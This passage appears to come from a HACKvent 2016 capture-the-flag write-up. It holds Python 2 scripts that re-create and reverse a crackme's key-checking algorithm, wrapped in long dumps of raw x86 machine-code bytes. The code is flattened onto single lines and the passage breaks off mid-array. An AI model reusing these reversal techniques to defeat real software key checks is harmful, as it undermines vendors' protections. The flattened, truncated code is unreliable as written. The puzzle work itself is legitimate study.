0x05, 0x0C, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x10, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x14, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB0, 0x42, 0x40, 0x00, 0x01, 0x05, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB4, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA0, 0x42, 0x40, 0x00, 0xA1, 0xB8, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xA1, 0xBC, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA8, 0x42, 0x40, 0x00, 0xA1, 0xC0, 0x42, 0x40, 0x00, 0x01, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xC3, 0xC8, 0x04, 0x00, 0x00, 0xE8, 0x42, 0xDA, 0xFF, 0xFF, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xE8, 0x6A, 0xDA, 0xFF, 0xFF, 0x8B, 0x7D, 0x08, 0x8B, 0x35, 0xCC, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0x0E, 0xDB, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x35, 0x98, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0xED, 0xDA, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xB8, 0x9C, 0x42, 0x40, 0x00, 0x33, 0xF6, 0x83, 0xFE, 0x14, 0x74, 0x0D, 0x8B, 0x0C, 0x30, 0x0F, 0xC9, 0x89, 0x0C, 0x30, 0x83, 0xC6, 0x04, 0xEB, 0xEE, 0x33, 0xC9, 0xC9, 0xC2, 0x08, 0x00, 0x6A, 0x00, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xA3, 0xD0, 0x42, 0x40, 0x00, 0x6A, 0x00, 0x68, 0xD6, 0x38, 0x40, 0x00, 0x6A, 0x00, 0x6A, 0x65, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x13, 0x03, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0xCA, 0x02, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x0C, 0x10, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xD4, 0x02, 0x00, 0x00, 0xE9, 0xE8, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x13, 0x01, 0x00, 0x00, 0x75, 0x2D, 0xBA, 0x31, 0x00, 0x00, 0x00, 0x4A, 0x64, 0x8B, 0x02, 0xF7, 0x40, 0x68, 0x70, 0x00, 0x00, 0x00, 0x74, 0x16, 0xBE, 0xDE, 0x3B, 0x40, 0x00, 0x56, 0x5A, 0x83, 0xEA, 0x0D, 0x4A, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x10, 0xFF, 0x75, 0x08, 0xFF, 0xD2, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x11, 0x01, 0x00, 0x00, 0x0F, 0x85, 0x17, 0x01, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x68, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x7C, 0x02, 0x00, 0x00, 0xE9, 0xFD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x01, 0x0F, 0x85, 0xF3, 0x00, 0x00, 0x00, 0x6A, 0x28, 0x68, 0xD8, 0x42, 0x40, 0x00, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x53, 0x02, 0x00, 0x00, 0x81, 0x3D, 0xD8, 0x42, 0x40, 0x00, 0x48, 0x56, 0x31, 0x36, 0x0F, 0x85, 0xC7, 0x00, 0x00, 0x00, 0xBE, 0xD8, 0x42, 0x40, 0x00, 0x83, 0xC6, 0x05, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xBF, 0xFE, 0x42, 0x40, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0xFE, 0x42, 0x40, 0x00, 0xE8, 0x4F, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x70, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x6A, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0x06, 0x43, 0x40, 0x00, 0xE8, 0x28, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x78, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x39, 0xE8, 0x30, 0x01, 0x00, 0x00, 0x83, 0x3D, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x75, 0x21, 0x6A, 0x40, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x55, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xB3, 0x01, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x96, 0x01, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xAD, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xA3, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0x99, 0x00, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x01, 0x02, 0x00, 0x00, 0x75, 0x14, 0xFF, 0x75, 0x14, 0x6A, 0x02, 0x68, 0xA1, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x66, 0x01, 0x00, 0x00, 0xEB, 0x71, 0x81, 0x7D, 0x0C, 0x10, 0x01, 0x00, 0x00, 0x75, 0x68, 0xB8, 0xE3, 0x3B, 0x40, 0x00, 0x50, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x2A, 0x01, 0x00, 0x00, 0xA3, 0xD4, 0x42, 0x40, 0x00, 0x5A, 0x83, 0xEA, 0x07, 0x87, 0xD1, 0x6A, 0x00, 0x6A, 0x0A, 0x68, 0x37, 0x13, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xFF, 0xD1, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x0C, 0x01, 0x00, 0x00, 0x6A, 0x69, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x23, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x0D, 0x01, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x1D, 0x68, 0xC5, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xF9, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC9, 0xC2, 0x10, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x6A, 0x10, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x94, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xCF, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xB2, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x10, 0xE8, 0xBF, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x08, 0xFF, 0x75, 0x0C, 0xE8, 0xE5, 0xD4, 0xFF, 0xFF, 0xE8, 0x4F, 0xD7, 0xFF, 0xFF, 0xC9, 0xC2, 0x0C, 0x00, 0x68, 0x4D, 0x3B, 0x40, 0x00, 0x64, 0x67, 0xFF, 0x36, 0x00, 0x00, 0x64, 0x67, 0x89, 0x26, 0x00, 0x00, 0x0F, 0xB6, 0x05, 0xF1, 0x42, 0x40, 0x00, 0x83, 0xE8, 0x45, 0xF7, 0xF0, 0x64, 0x67, 0x8F, 0x06, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xC4, 0x04, 0xC3, 0x33, 0xC0, 0xA3, 0x0E, 0x43, 0x40, 0x00, 0x8B, 0x4C, 0x24, 0x0C, 0x89, 0x41, 0x04, 0x89, 0x41, 0x08, 0x89, 0x41, 0x0C, 0x89, 0x41, 0x10, 0x89, 0x41, 0x14, 0x89, 0x41, 0x18, 0x83, 0x81, 0xB8, 0x00, 0x00, 0x00, 0x02, 0x6A, 0x09, 0x68, 0xEC, 0x42 , 0x40, 0x00, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0xB9, 0x14, 0x00, 0x00, 0x00, 0xBE, 0x80, 0x40, 0x40, 0x00, 0x8B, 0xF8, 0xF3, 0xA6, 0x75, 0x0A, 0xC7, 0x05, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xFF, 0x25, 0x78, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x7C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x80, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x88, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x8C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x90, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x94, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x98, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x9C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA0, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA4, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA8, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xAC, 0x50] hackvent_string = "HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!" hackvent_hex = [0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21] input_1 = [0x37, 0x33, 0x33, 0x31] input_2 = [0x6a, 0x66, 0x64, 0x61] result_1 = list(input_1) result_2 = list(input_2) saved_result_1 = list(input_1) saved_result_2 = list(input_2) LOW=3 HIGH=2 def ror(array_to_shift, positions): i = 0 while i < positions: tmp_element = array_to_shift[len(array_to_shift)-1] c = len(array_to_shift)-1 while c >= 0: array_to_shift[c] = array_to_shift[c-1] c -= 1 array_to_shift[0] = tmp_element i += 1 return array_to_shift def print_result(title, array_to_print): string = "" for x in array_to_print: string += format(x, '02X') print title + string counter = 0 while counter < 8: #Load saved results result_1 = list(saved_result_1) result_2 = list(saved_result_2) '''print_result("Result 1: ", result_1) print_result("Result 2: ", result_2) print "-------------"''' c = 0 while c < len(result_1): result_1[(len(result_1)-c-1)] ^= hackvent_hex[(c+(counter*7))] c+=1 result_2[LOW] ^= lookup_table[result_1[LOW]] result_2[HIGH] ^= lookup_table[result_1[HIGH]] ror(result_1, 10) ror(result_2, 10) result_2[LOW] ^= lookup_table[result_1[LOW]] result_2[HIGH] ^= lookup_table[result_1[HIGH]] #### Reload Result 1 result_1 = list(saved_result_1) ror(result_2, 10) ror(result_1, 9) #SAVE Result 2 saved_result_2 = list(result_2) result_2[HIGH] ^= result_2[LOW] result_2[LOW] ^= hackvent_hex[4+(counter*7)] result_1[HIGH] ^= lookup_table[result_2[HIGH]] result_1[LOW] ^= lookup_table[result_2[LOW]] ror(result_2, 10) ror(result_1, 10) #^with Hackvent DX result_2[3] ^= hackvent_hex[(5+(counter*7))] result_2[2] ^= hackvent_hex[(1+5+(counter*7))] result_1[HIGH] ^= lookup_table[result_2[HIGH]] result_1[LOW] ^= lookup_table[result_2[LOW]] ror(result_1, 9) #Save Result 1 saved_result_1 = list(result_1) counter+=1 print_result("Result 1: ", result_1) print_result("Result 2: ", result_2) print "-------------" result_1 = list(saved_result_1) result_2 = list(saved_result_2) c = 0 while c < len(result_1): result_1[(len(result_1)-c-1)] ^= hackvent_hex[56+c] c+=1 result_2[LOW] ^= lookup_table[result_1[LOW]] result_2[HIGH] ^= lookup_table[result_1[HIGH]] ror(result_2, 10) ror(result_1, 10) result_2[LOW] ^= lookup_table[result_1[LOW]] result_2[HIGH] ^= lookup_table[result_1[HIGH]] ror(result_2, 10) saved_result_2 = list(result_2) print_result("End Result 1: ", result_1) print_result("End Result 2: ", result_2) print_result("Saved Result 1: ", saved_result_1) print_result("Saved Result 2: ", saved_result_2) print("----------------")
Reversed Algorithm:
#!/usr/bin/python lookup_table = [0x20, 0x89, 0xEF, 0xBC, 0x66, 0x7D, 0xDD, 0x48, 0xD4, 0x44, 0x51, 0x25, 0x56, 0xED, 0x93, 0x95, 0x46, 0xE5, 0x11, 0x7C, 0x73, 0xCF, 0x21, 0x14, 0x7A, 0x8F, 0x19, 0xD7, 0x33, 0xB7, 0x8A, 0x8E, 0x92, 0xD3, 0x6E, 0xAD, 0x01, 0xE4, 0xBD, 0x0E, 0x67, 0x4E, 0xA2, 0x24, 0xFD, 0xA7, 0x74, 0xFF, 0x9E, 0x2D, 0xB9, 0x32, 0x62, 0xA8, 0xFA, 0xEB, 0x36, 0x8D, 0xC3, 0xF7, 0xF0, 0x3F, 0x94, 0x02, 0xE0, 0xA9, 0xD6, 0xB4, 0x3E, 0x16, 0x75, 0x6C, 0x13, 0xAC, 0xA1, 0x9F, 0xA0, 0x2F, 0x2B, 0xAB, 0xC2, 0xAF, 0xB2, 0x38, 0xC4, 0x70, 0x17, 0xDC, 0x59, 0x15, 0xA4, 0x82, 0x9D, 0x08, 0x55, 0xFB, 0xD8, 0x2C, 0x5E, 0xB3, 0xE2, 0x26, 0x5A, 0x77, 0x28, 0xCA, 0x22, 0xCE, 0x23, 0x45, 0xE7, 0xF6, 0x1D, 0x6D, 0x4A, 0x47, 0xB0, 0x06, 0x3C, 0x91, 0x41, 0x0D, 0x4D, 0x97, 0x0C, 0x7F, 0x5F, 0xC7, 0x39, 0x65, 0x05, 0xE8, 0x96, 0xD2, 0x81, 0x18, 0xB5, 0x0A, 0x79, 0xBB, 0x30, 0xC1, 0x8B, 0xFC, 0xDB, 0x40, 0x58, 0xE9, 0x60, 0x80, 0x50, 0x35, 0xBF, 0x90, 0xDA, 0x0B, 0x6A, 0x84, 0x9B, 0x68, 0x5B, 0x88, 0x1F, 0x2A, 0xF3, 0x42, 0x7E, 0x87, 0x1E, 0x1A, 0x57, 0xBA, 0xB6, 0x9A, 0xF2, 0x7B, 0x52, 0xA6, 0xD0, 0x27, 0x98, 0xBE, 0x71, 0xCD, 0x72, 0x69, 0xE1, 0x54, 0x49, 0xA3, 0x63, 0x6F, 0xCC, 0x3D, 0xC8, 0xD9, 0xAA, 0x0F, 0xC6, 0x1C, 0xC0, 0xFE, 0x86, 0xEA, 0xDE, 0x07, 0xEC, 0xF8, 0xC9, 0x29, 0xB1, 0x9C, 0x5C, 0x83, 0x43, 0xF9, 0xF5, 0xB8, 0xCB, 0x09, 0xF1, 0x00, 0x1B, 0x2E, 0x85, 0xAE, 0x4B, 0x12, 0x5D, 0xD1, 0x64, 0x78, 0x4C, 0xD5, 0x10, 0x53, 0x04, 0x6B, 0x8C, 0x34, 0x3A, 0x37, 0x03, 0xF4, 0x61, 0xC5, 0xEE, 0xE3, 0x76, 0x31, 0x4F, 0xE6, 0xDF, 0xA5, 0x99, 0x3B, 0xC8, 0x00, 0x00, 0x00, 0x57, 0x56, 0x51, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0x57, 0xFC, 0xF3, 0xA4, 0x5E, 0xB9, 0x2D, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x59, 0x5E, 0x5F, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x60, 0xB8, 0x0B, 0x00, 0x00, 0x00, 0x8B, 0x75, 0x08, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0x33, 0xD2, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x3C, 0x0F, 0x75, 0x02, 0x33, 0xC0, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0x3C, 0x0C, 0x74, 0x22, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x40, 0x88, 0x1F, 0x47, 0x8A, 0x1C, 0x06, 0x88, 0x1F, 0x47, 0x83, 0xC0, 0x09, 0xF6, 0x35, 0x6E, 0x12, 0x40, 0x00, 0x0F, 0xB6, 0xC4, 0xEB, 0xA1, 0x61, 0xC9, 0xC2, 0x04, 0x00, 0x0F, 0x50, 0x51, 0x57, 0x33, 0xC0, 0xB9, 0x0F, 0x00, 0x00, 0x00, 0xBF, 0x9C, 0x40, 0x40, 0x00, 0xFC, 0xF3, 0xAB, 0x5F, 0x59, 0x58, 0xC3, 0xC7, 0x05, 0x9C, 0x42, 0x40, 0x00, 0x01, 0x23, 0x45, 0x67, 0xC7, 0x05, 0xA0, 0x42, 0x40, 0x00, 0x89, 0xAB, 0xCD, 0xEF, 0xC7, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xFE, 0xDC, 0xBA, 0x98, 0xC7, 0x05, 0xA8, 0x42, 0x40, 0x00, 0x76, 0x54, 0x32, 0x10, 0xC7, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xF0, 0xE1, 0xD2, 0xC3, 0xC3, 0xC8, 0x08, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xC1, 0xC1, 0xE8, 0x06, 0xA3, 0xCC, 0x42, 0x40, 0x00, 0xB8, 0x38, 0x00, 0x00, 0x00, 0x83, 0xE1, 0x3F, 0x83, 0xF9, 0x38, 0x73, 0x13, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xF8, 0x38, 0x00, 0x00, 0x00, 0xEB, 0x14, 0xC7, 0x05, 0x98, 0x42, 0x40, 0x00, 0x02, 0x00, 0x00, 0x00, 0x83, 0xC0, 0x40, 0xC7, 0x45, 0xF8, 0x78, 0x00, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x4D, 0xFC, 0x8B, 0x75, 0x08, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xCC, 0x42, 0x40, 0x00, 0x03, 0xC9, 0x8B, 0xD1, 0x03, 0xD2, 0x8D, 0x0C, 0x4A, 0x8D, 0x34, 0xCE, 0x50, 0xFF, 0x75, 0xFC, 0x56, 0x57, 0xE8, 0x7F, 0x28, 0x00, 0x00, 0x03, 0x7D, 0xFC, 0x68, 0x00, 0x40, 0x40, 0x00, 0x57, 0xE8, 0x71, 0x28, 0x00, 0x00, 0x8B, 0x4D, 0x0C, 0x8B, 0xD1, 0x81, 0xE2, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0xCA, 0xC1, 0xE1, 0x03, 0x89, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x89, 0x15, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x55, 0xF8, 0xA1, 0xC8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xC4, 0x42, 0x40, 0x00, 0x0F, 0xC8, 0x0F, 0xC9, 0x89, 0x82, 0x18, 0x42, 0x40, 0x00, 0x89, 0x8A, 0x1C, 0x42, 0x40, 0x00, 0xC9, 0xC2, 0x08, 0x00, 0xFF, 0x35, 0x9C, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB0, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA0, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB4, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA4, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xB8, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xA8, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xBC, 0x42, 0x40, 0x00, 0xFF, 0x35, 0xAC, 0x42, 0x40, 0x00, 0x8F, 0x05, 0xC0, 0x42, 0x40, 0x00, 0x8B, 0x07, 0x0F, 0xC8, 0xA3, 0xD8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x04, 0x0F, 0xC8, 0xA3, 0xDC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x08, 0x0F, 0xC8, 0xA3, 0xE0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x0C, 0x0F, 0xC8, 0xA3, 0xE4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x10, 0x0F, 0xC8, 0xA3, 0xE8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x14, 0x0F, 0xC8, 0xA3, 0xEC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x18, 0x0F, 0xC8, 0xA3, 0xF0, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x1C, 0x0F, 0xC8, 0xA3, 0xF4, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x20, 0x0F, 0xC8, 0xA3, 0xF8, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x24, 0x0F, 0xC8, 0xA3, 0xFC, 0x40, 0x40, 0x00, 0x8B, 0x47, 0x28, 0x0F, 0xC8, 0xA3, 0x00, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x2C, 0x0F, 0xC8, 0xA3, 0x04, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x30, 0x0F, 0xC8, 0xA3, 0x08, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x34, 0x0F, 0xC8, 0xA3, 0x0C, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x38, 0x0F, 0xC8, 0xA3, 0x10, 0x41, 0x40, 0x00, 0x8B, 0x47, 0x3C, 0x0F, 0xC8, 0xCC, 0x14, 0x41, 0x40, 0x00, 0xA1, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x18, 0x41, 0x40, 0x00, 0xA1, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x1C, 0x41, 0x40, 0x00, 0xA1, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x20, 0x41, 0x40, 0x00, 0xA1, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x24, 0x41, 0x40, 0x00, 0xA1, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x28, 0x41, 0x40, 0x00, 0xA1, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x33, 0x05, 0xEC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x2C, 0x41, 0x40, 0x00, 0xA1, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x30, 0x41, 0x40, 0x00, 0xA1, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x34, 0x41, 0x40, 0x00, 0xA1, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0x33, 0x05, 0xF8, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x38, 0x41, 0x40, 0x00, 0xA1, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0x33, 0x05, 0xFC, 0x40, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x3C, 0x41, 0x40, 0x00, 0xA1, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0x33, 0x05, 0x00, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x40, 0x41, 0x40, 0x00, 0xA1, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x04, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x44, 0x41, 0x40, 